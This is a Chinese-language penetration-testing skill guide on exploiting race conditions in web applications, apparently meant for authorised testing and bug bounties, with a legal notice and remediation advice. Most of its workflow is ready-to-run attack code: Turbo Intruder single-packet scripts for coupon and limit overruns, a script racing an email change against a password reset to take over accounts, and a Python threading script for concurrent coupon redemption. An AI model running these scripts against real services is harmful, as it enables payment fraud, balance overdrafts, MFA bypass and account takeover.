exploiting-race-condition-vulnerabilities

利用竞态条件漏洞

何时使用

• 在测试具有基于事务功能的应用程序时（支付、转账、优惠券）
• 在评估速率限制或尝试次数限制机制时
• 在测试多步骤工作流时（注册、密码重置、MFA）
• 在漏洞赏金狩猎中寻找状态变更操作中的逻辑缺陷时
• 在评估具有库存或余额管理系统的应用程序时

前置条件

• 已安装 Turbo Intruder 扩展的 Burp Suite Professional
• 理解 HTTP/2 单包攻击技术
• 具备编写自定义 Turbo Intruder 脚本的 Python 脚本能力
• 了解 TOCTOU（检查时到使用时）漏洞
• 目标应用程序具有状态变更操作（购买、投票、转账）
• 多个用户账户用于测试跨用户竞态条件

法律声明： 本技能仅用于授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用是违法的，并可能违反计算机欺诈法律。

工作流

步骤 1 — 识别竞态条件攻击面

# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)

步骤 2 — 在 Turbo Intruder 中配置单包攻击

# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

步骤 3 — 执行限制超限攻击

# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)

步骤 4 — 利用多端点竞态条件

# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to [email protected]
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"[email protected]"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"[email protected]"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

步骤 5 — 使用 Python 线程替代方案进行测试

import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Create barrier to synchronize thread start
barrier = threading.Barrier(20)

def synchronized_request():
    barrier.wait()  # All threads wait here, then start together
    send_request()

threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

步骤 6 — 分析结果并确认利用

# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)

# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliable

关键概念

概念	描述
TOCTOU	检查时到使用时缺陷，状态在验证和操作之间发生变化
单包攻击	在一个 TCP 包中发送多个 HTTP/2 请求以实现精确同步
末字节同步	HTTP/1.1 技术，保持多个请求的最后一个字节然后同时释放
限制超限	通过利用验证逻辑中的竞态窗口来超过一次性使用限制
隐藏状态机	利用多步骤应用程序工作流中的过渡状态
门控机制	Turbo Intruder 功能，保持请求直到所有请求排队，然后同时释放
连接预热	预先建立连接以减少竞态条件攻击中的网络抖动

工具与系统

工具	用途
Turbo Intruder	用于高速竞态条件利用的 Burp Suite 扩展
Burp Suite Repeater	用于基本竞态条件测试的分组发送功能
Nuclei	基于模板的扫描器，具有竞态条件检测模板
Python threading	自定义多线程竞态条件脚本
racepwn	专用竞态条件测试框架
asyncio/aiohttp	用于并发请求发送的 Python 异步 HTTP

常见场景

1. 优惠券双重消费 — 在服务器将其标记为已使用之前，通过发送并发兑换请求多次兑换一次性优惠券
2. 余额透支 — 通过发送同时通过余额检查的并发转账请求，转移超过可用金额的资金
3. MFA 绕过 — 同时提交多个 MFA 代码以绕过验证尝试的速率限制
4. 库存操纵 — 通过利用库存扣减逻辑中的竞态条件，购买超过可用库存的商品
5. 账户注册绕过 — 通过提交并发注册请求，使用相同电子邮件创建多个账户

输出格式

## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20

### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |

### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms

### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environments